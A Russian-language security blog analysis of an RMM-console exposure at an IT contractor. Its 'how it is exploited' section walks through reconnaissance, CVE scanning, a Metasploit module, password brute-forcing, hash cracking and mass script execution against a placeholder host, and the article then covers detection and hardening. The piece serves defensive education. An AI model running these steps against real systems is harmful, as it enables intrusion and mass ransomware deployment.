CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Один сервер подрядчика — ключи от 41 компании: разбор уязвимости в RMM-системе

Забытый аккаунт в консоли удалённого администрирования ИТ-подрядчика мог обернуться одновременным шифрованием инфраструктуры сорока одной компании. Разбираем, как устроена такая атака технически и почему CVSS 10 в RMM-системах — это не абстрактная цифра.

Разбор CIOlogia
Один сервер подрядчика — ключи от 41 компании: разбор уязвимости в RMM-системе

Короткая версия истории уже разошлась: собственник производственной компании насторожился из-за странной просьбы подрядчика срочно сменить все пароли, аудит вскрыл лишний, никем не признанный аккаунт в общей консоли удалённого администрирования — и через него теоретически можно было одной командой атаковать сразу 41 компанию, обслуживаемую этим подрядчиком. Здесь — то, что осталось за кадром короткого поста: как именно такие дыры эксплуатируются на практике, какие продукты и CVE стоят за подобными инцидентами, и что конкретно нужно настроить, чтобы это не повторилось у вас.

Почему RMM-системы — любимая цель атакующих

Системы класса RMM (Remote Monitoring & Management) — ConnectWise Automate/ScreenConnect, Kaseya VSA, N-able N-central, Datto RMM, Atera — это стандарт для ИТ-аутсорсинга. Одна консоль, тысячи агентов на компьютерах клиентов, возможность удалённо выполнять скрипты, разворачивать патчи и — что важно для атакующего — пушить произвольные payload'ы на все подключённые машины одним действием.

Это ровно та же архитектура, что делает supply chain атаки настолько разрушительными: скомпрометировав саму консоль, злоумышленник получает не доступ к одной сети, а «мастер-ключ» ко всем клиентам сразу. Именно так в 2021 году через Kaseya VSA был развёрнут REvil-шифровальщик более чем на 1500 компаний одновременно — это не гипотетический сценарий, а зафиксированный кейс индустрии.

Для класса продуктов N-able N-central в разное время публиковались критичные CVE: например, CVE-2024-8963 (path traversal, CVSS 9.8) и CVE-2024-8964 (insecure deserialization), которые в связке позволяли неавторизованное удалённое выполнение кода на управляющем сервере. Оба попали в каталог CISA KEV как активно эксплуатируемые. Свежие бюллетени по RMM-платформам регулярно фиксируют уязвимости с CVSS, близким к максимальному — именно поэтому «одна забытая учётка» в таких системах стоит на порядок дороже, чем в обычном веб-приложении.

Как это эксплуатируется

Атака на управляющий сервер RMM обычно проходит по одному из двух путей: эксплуатация технической уязвимости самого продукта, либо использование слабой гигиены учётных записей (как в разобранном кейсе). Разберём оба, с типичным инструментарием.

1. Разведка и идентификация продукта

nmap -p 443,8443,9002,7284 -sV --script=http-title,ssl-cert подрядчик.example.com

PORT     STATE SERVICE VERSION
443/tcp  open  ssl/http nginx
8443/tcp open  ssl/http N-central Agent Management
| http-title: N-central | Login

Баннер, favicon-хэш или заголовки ответа часто напрямую указывают на продукт и его версию:

curl -sk https://подрядчик.example.com:8443/dms2/services/ServerEI2 -I

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: N-central/2023.6

2. Поиск известных эндпоинтов и CVE

gobuster dir -u https://подрядчик.example.com:8443 -w /usr/share/wordlists/dirb/common.txt -k

/dms                  (Status: 302)
/dms2/services        (Status: 200)
/api                  (Status: 401)
nuclei -u https://подрядчик.example.com:8443 -t cves/2024/CVE-2024-8963.yaml -t cves/2024/CVE-2024-8964.yaml

[CVE-2024-8963] [critical] Path Traversal detected -> /dms2/... 

Публичные PoC и модули для Metasploit по таким CVE появляются в течение недель после раскрытия:

msfconsole -q
msf6 > search ncentral
msf6 > use exploit/multi/http/ncentral_deserialize_rce
msf6 exploit(ncentral_deserialize_rce) > set RHOSTS подрядчик.example.com
msf6 exploit(ncentral_deserialize_rce) > run

3. Путь через слабую гигиену учёток (сценарий из кейса)

Если уязвимости в самом коде нет — ищут забытые/лишние аккаунты, устаревшие интеграции, API-токены без ротации. Проверяется банальный брутфорс, если MFA не включена:

hydra -l admin -P rockyou.txt подрядчик.example.com https-post-form \
  "/dms2/login:username=^USER^&password=^PASS^:Invalid login"

Или через утечку credential'ов из другого сервиса подрядчика (переиспользование паролей — типичная причина «ниоткуда взявшегося» аккаунта):

hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt --force

Session..........: hashcat
Status............: Cracked
admin_backup:P@ssw0rd2019

Получив вход в консоль, атакующий добавляет собственную учётную запись с правами администратора — именно такая «сирота» и была найдена в разобранном случае при выгрузке списка пользователей. Далее — доступ к панели управления скриптами и массовому развёртыванию:

curl -sk -X POST https://подрядчик.example.com:8443/api/v2/devices/script-execute \
  -H "Authorization: Bearer " \
  -d '{"deviceGroup":"ALL","scriptId":1337}'

Что и почему сработало бы дальше

  • Массовое развёртывание. RMM позволяет задать группу «все устройства» или «все клиенты» одной галочкой — деплой шифровальщика идёт не последовательно, а параллельно на десятки инфраструктур за минуты.
  • Обход EDR за счёт легитимности. Агент RMM подписан цифровой подписью, доверен антивирусом и EDR-системами по умолчанию (это его штатная функция). Payload, доставленный через RMM-скрипт, часто не детектируется как аномалия — именно этот вектор массово использовался в атаках через Kaseya и ConnectWise ScreenConnect в 2023–2024 годах.
  • Боковое перемещение и эксфильтрация до шифрования. Перед запуском шифровальщика типично разворачивается вторичный инструмент (например, через встроенный remote shell RMM) для выгрузки данных — двойное давление на жертву: и шифрование, и угроза публикации.
  • Персистентность. Даже если исходную дыру закрыть, добавленный ранее административный аккаунт или API-токен продолжает работать, если не провести полную ревизию — классическая ошибка «залатали симптом, не нашли причину».

Признаки в логах, на которые стоит смотреть

  • Создание учётной записи или API-токена вне рабочего времени или без тикета в системе учёта изменений.
  • Вход в консоль с нового ASN/страны, особенно если у подрядчика вся команда работает из одного региона.
  • Массовый запуск одного и того же скрипта на группе устройств «All Clients» / «All Devices» — легитимные операции обычно точечные.
  • User-Agent или client ID в audit trail, не соответствующий стандартному агенту продукта.
  • Появление новых интеграций/webhook'ов, которые никто не подключал.

Как закрыть

  • Полная ревизия учётных записей и API-ключей в консоли управления, включая интеграции и сервисные токены — не только у людей, но и у машин.
    # пример проверки активных сессий и токенов через API RMM-платформы
    curl -sk https://подрядчик.example.com:8443/api/v2/access-tokens \
      -H "Authorization: Bearer " | jq '.[] | {id, created, lastUsed}'
    
  • MFA для всех административных входов в консоль без исключений, включая сервисные аккаунты — там, где это возможно, привязка к аппаратным токенам (FIDO2/TOTP).
  • Патч-менеджмент самой RMM-платформы — обновление до последней версии сразу после публикации бюллетеня, не по расписанию «раз в квартал». Для критичных CVE (CVSS 9+) — в течение 24–48 часов.
  • Сегментация плоскости управления — доступ к веб-консоли только с фиксированных IP или через VPN, а не из открытого интернета:
    # пример правила на периметровом файрволе
    iptables -A INPUT -p tcp --dport 8443 -s 203.0.113.0/24 -j ACCEPT
    iptables -A INPUT -p tcp --dport 8443 -j DROP
    
  • Алертинг на аномальные действия: уведомление в мессенджер/SIEM на каждое создание учётной записи, изменение прав, массовый запуск скрипта на группу устройств.
  • Договорной аудит для клиентов подрядчика — регулярный (не реже раза в квартал) запрос списка активных учётных записей с доступом к вашей инфраструктуре, независимо от того, что говорит сам подрядчик.
  • EDR-правила на выполнение скриптов от процесса RMM-агента, отличных от типовых операций обновления/инвентаризации — детект по хешам исполняемых файлов и командной строке (например, вызов PowerShell с закодированной base64-командой из процесса агента).

Стоимость этих мер для подрядчика — часы работы одного администратора. Стоимость их отсутствия — цена одновременного простоя десятков компаний, каждая из которых считает свои потери в миллионах рублей за неделю.